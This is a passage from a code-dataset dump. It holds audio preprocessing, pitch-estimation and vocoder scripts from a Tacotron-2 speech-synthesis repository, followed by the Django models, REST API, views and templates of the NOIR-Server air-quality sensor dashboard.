'audio-{}.npy'.format(index)\n\tcmp_mat = cmp.reshape(-1, cmp_dim)\n\tcmp_filename = 'cmp-{}.npy'.format(basename)\n\tlinear_filename = 'linear-{}.npy'.format(basename)\n\t#np.save(os.path.join(wav_dir, audio_filename), out.astype(out_dtype), allow_pickle=False)\n\tnp.save(os.path.join(cmp_dir, cmp_filename), cmp_mat, allow_pickle=False)\n\tnp.save(os.path.join(linear_dir, linear_filename), linear_spectrogram.T, allow_pickle=False)\n\t# Return a tuple describing this training example\n\treturn (cmp_filename, linear_filename, cmp_frames, text)\n" }, { "alpha_fraction": 0.6905370950698853, "alphanum_fraction": 0.7186700701713562, "avg_line_length": 20.72222137451172, "blob_id": "0dcd9a565f0e7dfc4ab111bc295e844018ba1e3a", "content_id": "7573c3951a00fac4d51faad6a576e14f4e534ccf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 391, "license_type": "permissive", "max_line_length": 95, "num_lines": 18, "path": "/py-world/test/speed.py", "repo_name": "Coastchb/Tacotron-2", "src_encoding": "UTF-8", "text": "# built-in imports\nimport timeit\n\n# 3rd-party imports\nimport numpy as np\nfrom scipy.io.wavfile import read as wavread\nfrom scipy.io.wavfile import write\n\n# local imports\nfrom world import main\n\n\nfs, x_int16 = wavread('test-mwm.wav')\nx = x_int16 / (2 ** 15 - 1)\nvocoder = main.World()\n\n# profile\nprint(timeit.timeit(\"vocoder.encode(fs, x, f0_method='harvest')\", globals=globals(), number=1))\n" }, { "alpha_fraction": 0.46562448143959045, "alphanum_fraction": 0.5051268935203552, "avg_line_length": 32.23463821411133, "blob_id": "420dfb0a85087ffb2b1c0c556e79cf75ff9d5cdc", "content_id": "31151b453933dd442605db327b1c9f1191f6bff4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5949, "license_type": "permissive", "max_line_length": 108, "num_lines": 179, "path": "/py-world/world/swipe.py", "repo_name": "Coastchb/Tacotron-2", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom scipy.io.wavfile import read\n\nfrom decimal import Decimal, ROUND_HALF_UP\nfrom scipy import interpolate\nfrom matplotlib import mlab\n\n\ndef swipe(fs, x, plim=[71, 800], dt=0.005, sTHR=float('-inf')):\n plim = np.array(plim)\n dlog2p = 1/96\n dERBs = 0.1\n num_samples = int(1000 * len(x) / fs / (dt * 1000) + 1)\n t = np.arange(0, num_samples) * dt\n dc = 4\n K = 2 # parameter k for Hann window\n # Define pitch candidates\n log2pc = np.arange(np.log2(plim[0]) * 96, np.log2(plim[-1]) * 96)\n log2pc *= dlog2p\n pc = 2 ** log2pc\n S = np.zeros((len(pc), len(t))) # Pitch strength matrix\n # Determine P2-WSs\n logWs = [round_matlab(elm) for elm in np.log2(4*K*fs/plim)]\n ws = 2 ** np.arange(logWs[0],logWs[1]-1,-1) # P2-WSs\n p0 = 4 *K * fs / ws # Optimal pitches for P2-WSs\n # Determine window size used by each pitch candidate\n d = 1 + log2pc - np.log2(4 *K * fs / ws[0])\n # Create ERBs spaced frequencies (in Hertz)\n fERBs = erbs2hz(np.arange(hz2erbs(pc[0] / 4), hz2erbs(fs/2), dERBs))\n for i in range(len(ws)):\n dn = round_matlab(dc * fs / p0[i]) # Hop size in samples\n # Zero pad signal\n xzp = np.r_[np.zeros(int(ws[i]/2)), np.r_[x, np.zeros(int(dn+ws[i]/2))]]\n # Compute spectrum\n w = np.hanning(ws[i]+2)[1:-1]\n o = max(0, np.round(ws[i] - dn)) # Window overlap\n X, f, ti = mlab.specgram(x=xzp, NFFT=ws[i], Fs=fs, window=w, noverlap=o, mode='complex')\n\n ti = np.r_[0, ti[:-1]]\n # Interplolate at equidistant ERBs steps\n M = np.maximum(0, interpolate.interp1d(f, np.abs(X.T), kind='cubic')(fERBs)) # Magnitude\n M = M.T\n L =np.sqrt(M) # Loudness\n # Select candidates that use this window size\n if i==len(ws) - 1:\n j = np.where(d - (i + 1) > -1)[0]\n k = np.where(d[j] - (i + 1) < 0)[0]\n elif i==0:\n j = np.where(d - (i + 1) < 1)[0]\n k = np.where(d[j] - (i + 1) > 0)[0]\n else:\n j = np.where(np.abs(d - (i + 1)) < 1)[0]\n k = np.arange(len(j))\n Si = pitchStrengthAllCandidates(fERBs, L, pc[j])\n ## TODO: check followings\n if Si.shape[1] > 1:\n Si = interpolate.interp1d(ti, Si, bounds_error=False, fill_value='nan')(t)\n else:\n Si = np.matlib.repmat( np.nan, len(Si), len(t) )\n _lambda = d[j[k]] - i - 1\n mu = np.ones( j.shape )\n mu[k] = 1 - np.abs( _lambda )\n S[j,:] = S[j,:] + np.matlib.repmat(mu.reshape(-1,1), 1, Si.shape[1]) * Si\n # Fine tune the pitch using parabolic interpolation\n p = np.matlib.repmat(np.nan, S.shape[1], 1)\n s = np.matlib.repmat(np.nan, S.shape[1], 1)\n for j in range(S.shape[1]):\n s[j] = np.max(S[:,j])\n i = np.argmax(S[:,j])\n if s[j] < sTHR: continue\n if i== 0:\n p[j] = pc[0]\n elif i == len(pc) - 1:\n p[j] = pc[0]\n else:\n I = np.arange(i-1, i+2)\n tc = 1 / pc[I]\n ntc = (tc / tc[1] - 1) * 2 * np.pi\n idx = np.isfinite(S[I, j])\n c = np.zeros(len(ntc))\n c += np.nan\n ntc_ = ntc[idx]\n I_ = I[idx]\n if len(I_) < 2:\n c[idx] = (S[I, j])[0] / ntc[0]\n else:\n c[idx] = np.polyfit(ntc_, (S[I_, j]), 2)\n ftc = 1 / (2 ** np.arange(np.log2(pc[I[0]]), np.log2(pc[I[2]]) + 1/12/64,1/12/64))\n nftc = (ftc / tc[1] - 1) * 2 * np.pi\n pval = np.polyval(c, nftc)\n s[j] = np.max(pval)\n k = np.argmax(pval)\n p[j] = 2 ** ( np.log2(pc[I[0]]) + (k)/12/64 )\n p = p.flatten()\n p[np.isnan(p)] = 0\n vuv = np.zeros_like(p)\n vuv[p>0] = 1\n return {\n 'temporal_positions':t,\n 'f0': p,\n 'vuv': vuv\n }\n\n\ndef round_matlab(n):\n '''\n this function works as Matlab round() function\n python round function choose the nearest even number to n, which is different from Matlab round function\n :param n: input number\n :return: rounded n\n '''\n return int(Decimal(n).quantize(0, ROUND_HALF_UP))\n\ndef pitchStrengthAllCandidates(f, L, pc):\n # Normalize loudness\n if np.any(L==0):\n print('')\n den = np.sqrt(np.sum(L * L, axis=0))\n den = np.where(den==0, 2.220446049250313e-16, den)\n L = L / den\n # Create pitch salience matrix\n S = np.zeros((len(pc), L.shape[1]))\n for j in range(len(pc)):\n S[j,:] = pitchStrengthOneCandidate(f, L, pc[j])\n return S\ndef pitchStrengthOneCandidate(f, L, pc):\n n = int(np.fix(f[-1] / pc - 0.75))\n # number of harmonics\n k = np.zeros(len(f)) # Kernel\n q = f / pc # Normalize frequency w.r.t candidate\n for i in ([1] + sieve(n)):\n a = np.abs(q-i)\n # Peak's weig\n p = a < 0.25\n k[p] = np.cos(2 * np.pi * q[p])\n # Valleys' weights\n v = np.logical_and((0.25 < a), (a < 0.75))\n k[v] = k[v] + np.cos(2 * np.pi * q[v]) /2\n # Apply envelope\n k *= np.sqrt(1 / f)\n # K+-normalize kernel\n k /= np.linalg.norm(k[k>0])\n # Compute pitch strength\n S = k @ L\n return S\ndef hz2erbs(hz):\n erbs = 21.4 * np.log10(1 + hz / 229)\n return erbs\ndef erbs2hz(erbs):\n hz = (10 ** (erbs / 21.4) - 1) * 229\n return hz\nfrom math import sqrt\n\ndef sieve(n):\n # returns all primes between 2 and n\n primes = list(range(2,n+1))\n max = sqrt(n)\n num = 2\n while num < max:\n i = num\n while i <= n:\n i += num\n if i in primes:\n primes.remove(i)\n for j in primes:\n if j > num:\n num = j\n break\n return primes\n\nif __name__ == '__main__':\n from matplotlib import mlab\n\n fs, x = read('arctic_a0001.wav')\n x = x / (2 ** 15 - 1)\n source = swipe(fs, x, [71, 800], 0.005, 0.3)\n from matplotlib import pyplot as plt\n plt.plot(source['f0'])\n plt.show()\n" }, { "alpha_fraction": 0.5161691308021545, "alphanum_fraction": 0.552860677242279, "avg_line_length": 33.22340393066406, "blob_id": "3dc24d5a1b9f91b3024d011a43d23489e23f8eca", "content_id": "afd39cf9110e2d8c12a8b31edb840e46f05843d3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3222, "license_type": "permissive", "max_line_length": 112, "num_lines": 94, "path": "/local/copy_syn.py", "repo_name": "Coastchb/Tacotron-2", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*- \n#@Time: 19-1-10 ไธŠๅˆ8:13\n#@Author: Coast Cao\nfrom argparse import ArgumentParser as ARP\nimport os\nimport shutil\nimport glob\nimport random\n\ndef get_config(sr):\n\tif sr == 16000:\n\t\tnFFTHalf = 1024\n\t\talpha = 0.58\n\t\tbap_dim = 1\n\n\telif sr == 22050:\n\t\tnFFTHalf = 1024\n\t\talpha = 0.65\n\t\tbap_dim = 2\n\n\telif sr == 44100:\n\t\tnFFTHalf = 2048\n\t\talpha = 0.76\n\t\tbap_dim = 5\n\n\telif sr == 48000:\n\t\tnFFTHalf = 2048\n\t\talpha = 0.77\n\t\tbap_dim = 5\n\telse:\n\t\traise(\"ERROR: currently upsupported sampling rate:%d\".format(sr))\n\treturn nFFTHalf, alpha, bap_dim\n\ndef reconstruct(args):\n\n lf0_dir = os.path.join(args.data_root, \"lf0\")\n mgc_dir = os.path.join(args.data_root, \"mgc\")\n bap_dir = os.path.join(args.data_root, \"bap\")\n\n syn_wav = os.path.join(args.data_root, \"syn/wav\")\n syn_f0 = os.path.join(args.data_root, \"syn/f0\")\n syn_sp = os.path.join(args.data_root, \"syn/sp\")\n syn_ap = os.path.join(args.data_root, \"syn/ap\")\n\n # for 16kHz wav\n nFFTHalf, alpha, _ = get_config(args.sampling_rate)\n\n mcsize = 59\n\n for dire in [syn_wav, syn_f0, syn_sp, syn_ap]:\n if (os.path.exists(dire)):\n shutil.rmtree(dire)\n os.makedirs(dire, exist_ok=False)\n\n lf0_files = glob.glob(lf0_dir + \"/*.lf0\")\n random.shuffle(lf0_files)\n lf0_files = lf0_files[:10]\n\n print(\"To construct %d wavs\" % len(lf0_files))\n\n for lf0_file in lf0_files:\n filename = lf0_file.split(\"/\")[-1].split(\".\")[0]\n\n os.system(\"%s/SPTK/sopr -magic -1.0E+10 -EXP -MAGIC 0.0 %s/%s.lf0 | %s/SPTK/x2x +fa > %s/%s.resyn.f0a\" %\n (args.binary_root, lf0_dir, filename, args.binary_root, syn_f0, filename))\n os.system(\"%s/SPTK/x2x +ad %s/%s.resyn.f0a > %s/%s.resyn.f0\" % (args.binary_root, syn_f0,\n filename, syn_f0, filename))\n # convertใ€€mgc to sp\n os.system(\"%s/SPTK/mgc2sp -a %f -g 0 -m %d -l %d -o 2 %s/%s.mgc | %s/SPTK/sopr -d 32768.0 -P | \"\n \"%s/SPTK/x2x +fd > %s/%s.resyn.sp\" % (args.binary_root, alpha, mcsize, nFFTHalf,\n mgc_dir, filename, args.binary_root,\n args.binary_root, syn_sp, filename))\n # convert bap to ap\n os.system(\"%s/SPTK/x2x +fd %s/%s.bap > %s/%s.resyn.bapd\" % (args.binary_root, bap_dir,\n filename, syn_ap, filename))\n # reconstruct wav\n os.system(\"%s/WORLD/synth %d %d %s/%s.resyn.f0 %s/%s.resyn.sp %s/%s.resyn.bapd %s/%s.resyn.wav\" %\n (args.binary_root, nFFTHalf, args.sampling_rate, syn_f0, filename, syn_sp, filename, syn_ap,\n filename, syn_wav, filename))\n\ndef main():\n arp = ARP(description=\"extract audio acoustic feature\")\n arp.add_argument(\"--br\", dest=\"binary_root\", default=\"bin/\",\n help=\"location of binaries\")\n arp.add_argument(\"--dr\", dest=\"data_root\", default=\"data/tmp\",\n help=\"root directory of the data\")\n arp.add_argument(\"--sr\", dest=\"sampling_rate\", default=22050)\n args = arp.parse_args()\n\n reconstruct(args)\n\n\nif __name__ == \"__main__\":\n main()" }, { "alpha_fraction": 0.6421052813529968, "alphanum_fraction": 0.6815789341926575, "avg_line_length": 17.047618865966797, "blob_id": "d634d40fab9eea4c8feea98857b1d6a5f2448393", "content_id": "40fe92934030dc166843aab17291a37e5916a682", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 380, "license_type": "permissive", "max_line_length": 90, "num_lines": 21, "path": "/train.sh", "repo_name": "Coastchb/Tacotron-2", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\nif [ $# != 2 ];then\n echo \"Usage:$0 stage speaker\"\n exit 1\nfi\n\nstage=$1\ndataset=$2\n\n. path.sh\n\n# preprocess acoustic feature and text(lingual features)\nif [ $stage -le 0 ];then\n python preprocess.py --dataset=$dataset\nfi\n\n# train model\nif [ $stage -le 1 ];then\n python train.py --base_dir=data/$dataset --eval_interval 3000 --checkpoint_interval 3000\nfi\n\n" }, { "alpha_fraction": 0.7694703936576843, "alphanum_fraction": 0.7694703936576843, "avg_line_length": 52.5, "blob_id": "b978118a616beb23968cc72cf2f48c853d4cf471", "content_id": "69c0a62afddee4d1eeda15a0915be5d3a1742679", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 321, "license_type": "permissive", "max_line_length": 118, "num_lines": 6, "path": "/py-world/xtra/world-c/install.sh", "repo_name": "Coastchb/Tacotron-2", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\nrm -rf Python-Wrapper-for-World-Vocoder\ngit clone https://github.com/JeremyCCHsu/Python-Wrapper-for-World-Vocoder.git\ncd Python-Wrapper-for-World-Vocoder\ngit submodule update --init\npython setup.py build_ext --inplace && echo \"SUCCESS! You can copy `ls pyworld/*.so` into your working folder to use.\"\n" } ]
12
EltonARodrigues/NOIR-Server
https://github.com/EltonARodrigues/NOIR-Server
cc265a54187144391f11ef4dff281e031111a658
4d5f49224966fdb4ca4b8a27f635f0b767c9cd5c
520af9419ca02905fd72b7b9ebd6ca73ffc5d53b
refs/heads/master
2022-12-23T20:21:30.038316
2022-12-08T11:16:16
2022-12-08T11:16:16
164,939,287
0
0
BSD-2-Clause
2019-01-09T21:16:10
2022-12-08T11:16:21
2022-12-08T11:17:22
JavaScript
[ { "alpha_fraction": 0.5296703577041626, "alphanum_fraction": 0.7186813354492188, "avg_line_length": 17.95833396911621, "blob_id": "c8cb498dbc006c280f618856778b1b63b16f1e97", "content_id": "5dd432ffb11a12f9898b6a87ee2d0d660da5909c", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 455, "license_type": "permissive", "max_line_length": 31, "num_lines": 24, "path": "/requirements.txt", "repo_name": "EltonARodrigues/NOIR-Server", "src_encoding": "UTF-8", "text": "asgiref==3.2.7\ncertifi==2020.4.5.1\nchardet==3.0.4\ndj-database-url==0.5.0\nDjango==3.0.4\ndjango-cors-headers==3.2.1\ndjango-filter==2.2.0\ndjango-widget-tweaks==1.4.8\ndjangorestframework==3.11.0\ndjangorestframework-csv==2.1.0\ndjangorestframework-jwt==1.11.0\ngunicorn==20.0.4\nidna==2.9\nMarkdown==3.2.1\nprettyconf==2.1.0\npsycopg2==2.8.5\nPyJWT==1.7.1\npytz==2019.3\nrequests==2.23.0\nsix==1.14.0\nsqlparse==0.3.1\nunicodecsv==0.14.1\nurllib3==1.25.9\nwhitenoise==5.0.1\n" }, { "alpha_fraction": 0.826797366142273, "alphanum_fraction": 0.826797366142273, "avg_line_length": 29.600000381469727, "blob_id": "ec98ccb08910f94df291e28596e37905b4a815f7", "content_id": "b9c2a6623c469a6acf6eaa7ab1a3e6ae7e4399d3", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 306, "license_type": "permissive", "max_line_length": 74, "num_lines": 10, "path": "/apps/api/urls.py", "repo_name": "EltonARodrigues/NOIR-Server", "src_encoding": "UTF-8", "text": "from rest_framework import routers\n\nfrom .viewsets import GasesCollectedViewSet, SensorsViewSet, SensorViewSet\n\nrouter = routers.SimpleRouter()\nrouter.register(r'gases', GasesCollectedViewSet)\nrouter.register(r'sensors', SensorsViewSet)\nrouter.register(r'sensor', SensorViewSet)\n\nurlpatterns = router.urls\n" }, { "alpha_fraction": 0.7189189195632935, "alphanum_fraction": 0.7189189195632935, "avg_line_length": 38.64285659790039, "blob_id": "1f9a83bba311346477ecafeb770dfa682b42a5ed", "content_id": "c8f403d01f84aafd9e64f4745fbed9fed1c4b6d7", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 555, "license_type": "permissive", "max_line_length": 72, "num_lines": 14, "path": "/noir_server/urls.py", "repo_name": "EltonARodrigues/NOIR-Server", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom django.urls import include, path\nfrom django.views.generic.base import TemplateView\n#from rest_framework.authtoken.views import obtain_auth_token \nfrom rest_framework_jwt.views import obtain_jwt_token, refresh_jwt_token\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('accounts/', include('django.contrib.auth.urls')),\n path('', include('apps.dashboard.urls')),\n path('api/', include('apps.api.urls')),\n path('api/auth', obtain_jwt_token),\n path('api/auth-refresh/', refresh_jwt_token),\n]\n" }, { "alpha_fraction": 0.6465863585472107, "alphanum_fraction": 0.6465863585472107, "avg_line_length": 30.125, "blob_id": "ce16041fb9fa8177487bf9b7f9402eb4d2361be7", "content_id": "b7b20b38083c6946c96b2ccb3c1aaa37381131b2", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 747, "license_type": "permissive", "max_line_length": 61, "num_lines": 24, "path": "/apps/dashboard/forms.py", "repo_name": "EltonARodrigues/NOIR-Server", "src_encoding": "UTF-8", "text": "from django import forms\nfrom django.core.exceptions import ValidationError\n\nfrom apps.dashboard.models import Sensor\n\n\nclass MeasureForm(forms.ModelForm):\n file_csv = forms.FileField(required=False)\n title = forms.CharField(\n widget=forms.TextInput(\n attrs={\n 'placeholder': 'Title'}))\n description = forms.CharField(widget=forms.TextInput(\n attrs={'placeholder': 'Description'})) # TextArea\n\n def clean_title(self):\n title = self.cleaned_data['title']\n if Sensor.objects.filter(title=title).exists():\n raise ValidationError(\"title is already in use!\")\n return title\n\n class Meta:\n model = Sensor\n fields = ('title', 'description', 'file_csv')\n" }, { "alpha_fraction": 0.5591511726379395, "alphanum_fraction": 0.5745357871055603, "avg_line_length": 35.25, "blob_id": "6f27136e23fdedf30108a5ed62defc65fecd05ed", "content_id": "9bea25e1562aa9b5df7f53b8d366ac03b07b2d90", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1885, "license_type": "permissive", "max_line_length": 120, "num_lines": 52, "path": "/apps/dashboard/migrations/0001_initial.py", "repo_name": "EltonARodrigues/NOIR-Server", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1 on 2018-11-27 01:29\n\nfrom django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport uuid\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='GasesCollected',\n fields=[\n ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),\n ('created_at', models.DateTimeField()),\n ('temperature', models.FloatField(default=0)),\n ('humidity', models.FloatField(default=0)),\n ('co', models.FloatField(default=0)),\n ('co2', models.FloatField(default=0)),\n ('mp25', models.FloatField(default=0)),\n ],\n ),\n migrations.CreateModel(\n name='Sensor',\n fields=[\n ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),\n ('title', models.CharField(max_length=50)),\n ('description', models.CharField(max_length=200)),\n ('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.AddField(\n model_name='gasescollected',\n name='sensor',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='dashboard.Sensor'),\n ),\n migrations.AlterUniqueTogether(\n name='sensor',\n unique_together={('title', 'author', 'description')},\n ),\n migrations.AlterUniqueTogether(\n name='gasescollected',\n unique_together={('created_at', 'sensor')},\n ),\n ]\n" }, { "alpha_fraction": 0.7349397540092468, "alphanum_fraction": 0.7349397540092468, "avg_line_length": 15.600000381469727, "blob_id": "729cb0daec04c73f102c26e7bd53bce493823bde", "content_id": "3b2296c128936170076afa139aab495c7a45360c", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 83, "license_type": "permissive", "max_line_length": 33, "num_lines": 5, "path": "/apps/dashboard/apps.py", "repo_name": "EltonARodrigues/NOIR-Server", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass NoirConfig(AppConfig):\n name = 'noir'\n" }, { "alpha_fraction": 0.6461538672447205, "alphanum_fraction": 0.6483516693115234, "avg_line_length": 36.91666793823242, "blob_id": "a4e0d33e760f732d5e36daeb8aaa48195bdf48d8", "content_id": "a92c7661e07dccc9f51d8733cc489ddfac7b57da", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 455, "license_type": "permissive", "max_line_length": 79, "num_lines": 12, "path": "/apps/dashboard/urls.py", "repo_name": "EltonARodrigues/NOIR-Server", "src_encoding": "UTF-8", "text": "from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('signup/', views.SignUp.as_view(), name='signup'),\n path('setup/', views.MeasureView.as_view(), name='nova_medicao'),\n path('medicao/', views.Graph.as_view(), name='get_context_data'),\n path('medicao/<uuid:pk>/', views.Graph.as_view(), name='get_context_data'),\n path('', views.SelecaoView.as_view(), name='home'),\n path('teste/', views.SelecaoView2.as_view()),\n]\n" }, { "alpha_fraction": 0.727078914642334, "alphanum_fraction": 0.727078914642334, "avg_line_length": 30.266666412353516, "blob_id": "6498193d72c7d962b6b10206ef431a6c4136874c", "content_id": "9ceef639e4c28e616f2fa0696da5ac5727148c15", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 938, "license_type": "permissive", "max_line_length": 94, "num_lines": 30, "path": "/apps/api/serializers.py", "repo_name": "EltonARodrigues/NOIR-Server", "src_encoding": "UTF-8", "text": "from rest_framework.serializers import ListSerializer, ModelSerializer, PrimaryKeyRelatedField\nfrom rest_framework import serializers\nfrom apps.dashboard.models import GasesCollected, Sensor\n\n\nclass GasesCollectedListSerializer(ListSerializer):\n def create(self, validated_data):\n collected_gases = [GasesCollected(**item) for item in validated_data]\n return GasesCollected.objects.bulk_create(collected_gases)\n\n\nclass GasesCollectedSerializer(ModelSerializer):\n class Meta:\n model = GasesCollected\n list_serializer_class = GasesCollectedListSerializer\n fields = '__all__'\n\n\nclass SensorSerializer(ModelSerializer):\n gases = GasesCollectedSerializer(many=True, read_only=True)\n class Meta:\n model = Sensor\n fields = ('id', 'title', 'gases')\n\n\nclass SensorsSerializer(ModelSerializer):\n\n class Meta:\n model = Sensor\n fields = ('title', 'description', 'author')\n" }, { "alpha_fraction": 0.668173611164093, "alphanum_fraction": 0.6808318495750427, "avg_line_length": 25.975608825683594, "blob_id": "97ef1e1ab3d7d3f2e34460c545de209da51139ad", "content_id": "821caeacf05bed98d12682e8de4814a76f17db92", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1106, "license_type": "permissive", "max_line_length": 86, "num_lines": 41, "path": "/apps/dashboard/models.py", "repo_name": "EltonARodrigues/NOIR-Server", "src_encoding": "UTF-8", "text": "import uuid\n\nfrom django.contrib.auth.models import User\nfrom django.db import models\nfrom django.db.models import Model, UUIDField\n\n\nclass UUIDModel(Model):\n class Meta:\n abstract = True\n\n id = UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n\n\nclass Sensor(UUIDModel):\n title = models.CharField(max_length=50)\n description = models.CharField(max_length=200)\n author = models.ForeignKey(User, on_delete=models.CASCADE)\n\n class Meta:\n unique_together = (('title', 'author', 'description',),)\n\n\n def __str__(self):\n return f'{self.title}-{self.id}'\n\n\nclass GasesCollected(UUIDModel):\n created_at = models.DateTimeField()\n temperature = models.FloatField(default=0)\n humidity = models.FloatField(default=0)\n co = models.FloatField(default=0)\n co2 = models.FloatField(default=0)\n mp25 = models.FloatField(default=0)\n sensor = models.ForeignKey(Sensor, related_name='gases', on_delete=models.CASCADE)\n\n class Meta:\n unique_together = (('created_at', 'sensor'),)\n\n def __str__(self):\n return f'{self.created_at}'\n" }, { "alpha_fraction": 0.43452730774879456, "alphanum_fraction": 0.43628889322280884, "avg_line_length": 37.727272033691406, "blob_id": "13eecda542603b4da71cfedd8c277b264231f543", "content_id": "5297f79ba29dd286b8d7ba60975d60a2d0ff098d", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1703, "license_type": "permissive", "max_line_length": 105, "num_lines": 44, "path": "/templates/registration/login.html", "repo_name": "EltonARodrigues/NOIR-Server", "src_encoding": "UTF-8", "text": "{% extends 'base.html' %}\n{% load static %}\n\n{% load widget_tweaks %}\n{% block menu %}\n<li class=\"nav-item \">\n <a class=\"nav-link\" href=\"{% url 'home' %}\">Home</a>\n </li>\n<li class=\"nav-item \">\n <a class=\"nav-link\" href=\"{% url 'signup' %}\">Signup</a>\n </li>\n{% endblock %}\n{% block content %}\n<link rel=\"stylesheet\" href=\"{% static 'teste.css' %}\">\n<link rel=\"stylesheet\" href=\"{% static 'signin.css' %}\">\n\n <div class=\"container mx-auto\">\n <div class=\"py-1 wrapper\">\n <form method=\"post\" class=\"form-wrapper needs-validation \" enctype=\"multipart/form-data\">\n {% csrf_token %}\n <fieldset class=\"section is-active\">\n <h3>Sign in</h3>\n {% render_field form.username placeholder=\"Username\" %}\n {% render_field form.password placeholder=\"Password\" %}\n <input class=\"submit button\" type=\"submit\" value=\"Sign in\">\n {% if form.errors %}\n {% for field in form %}\n {% for error in field.errors %}\n <div class=\"alert alert-danger\">\n <strong>{{ error|escape }}</strong>\n </div>\n {% endfor %}\n {% endfor %}\n {% for error in form.non_field_errors %}\n <div class=\"alert alert-danger\">\n <strong>{{ error|escape }}</strong>\n </div>\n {% endfor %}\n {% endif %}\n </fieldset>\n </form>\n </div>\n </div>\n{% endblock %}" }, { "alpha_fraction": 0.7584009170532227, "alphanum_fraction": 0.7584009170532227, "avg_line_length": 32.17307662963867, "blob_id": "498692ea86a53960c54494bb7f8ca2213c6243e0", "content_id": "e9cfea572feea4410c812b74efb4f50b7c0c5f0b", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1726, "license_type": "permissive", "max_line_length": 86, "num_lines": 52, "path": "/apps/api/viewsets.py", "repo_name": "EltonARodrigues/NOIR-Server", "src_encoding": "UTF-8", "text": "from functools import partial\n\nfrom rest_framework import status\nfrom rest_framework.exceptions import ValidationError\nfrom rest_framework.settings import api_settings\nfrom rest_framework.viewsets import ModelViewSet\nfrom rest_framework_csv.parsers import CSVParser\nfrom rest_framework.permissions import IsAuthenticated\nfrom apps.dashboard.models import GasesCollected, Sensor\nfrom rest_framework.authentication import TokenAuthentication\nfrom .serializers import GasesCollectedSerializer, SensorSerializer, SensorsSerializer\nfrom django.contrib.auth.models import User\n\n\nimport jwt\nfrom rest_framework_jwt.utils import jwt_payload_handler\n\n\nclass GasesCollectedViewSet(ModelViewSet):\n queryset = GasesCollected.objects.all()\n parser_classes = (CSVParser,) + tuple(api_settings.DEFAULT_PARSER_CLASSES)\n serializer_class = GasesCollectedSerializer\n\n def get_queryset(self):\n queryset = GasesCollected.objects.none()\n\n sensors = Sensor.objects.filter(author=self.request.user)\n for sensor in sensors:\n queryset |= GasesCollected.objects.filter(sensor=sensor)\n \n print(queryset)\n return queryset\n\n\nclass SensorsViewSet(ModelViewSet):\n permission_classes = (IsAuthenticated,)\n queryset = Sensor.objects.all()\n serializer_class = SensorsSerializer\n \n def get_queryset(self):\n queryset = Sensor.objects.filter(author= self.request.user)\n return queryset\n\n\nclass SensorViewSet(ModelViewSet):\n permission_classes = (IsAuthenticated,)\n queryset = Sensor.objects.all()\n serializer_class = SensorSerializer\n\n def get_queryset(self):\n queryset = Sensor.objects.filter(author= self.request.user)\n return queryset\n\n" }, { "alpha_fraction": 0.5891262888908386, "alphanum_fraction": 0.5926426649093628, "avg_line_length": 31.147825241088867, "blob_id": "41efacf810576611287e9f65bd49ddb2b27f5b2b", "content_id": "025c74f1faeb00883aeb2dbf10ab219cf70dc311", "detected_licenses": [ "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3697, "license_type": "permissive", "max_line_length": 76, "num_lines": 115, "path": "/apps/dashboard/views.py", "repo_name": "EltonARodrigues/NOIR-Server", "src_encoding": "UTF-8", "text": "from io import StringIO\n\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.db.models import Avg, Max, Min\nfrom django.shortcuts import redirect, render\nfrom django.urls import reverse_lazy\nfrom django.utils import timezone\nfrom django.views.generic import CreateView, FormView, TemplateView, View\n\nfrom apps.api.viewsets import GasesCollectedViewSet\n\nfrom .forms import MeasureForm\nfrom .models import GasesCollected, Sensor\n\n\nclass SignUp(CreateView):\n form_class = UserCreationForm\n success_url = reverse_lazy('login')\n template_name = 'signup.html'\n\n\nclass SelecaoView(View):\n initial = {'key': 'value'}\n template_name = 'home.html'\n\n def get(self, request, *args, 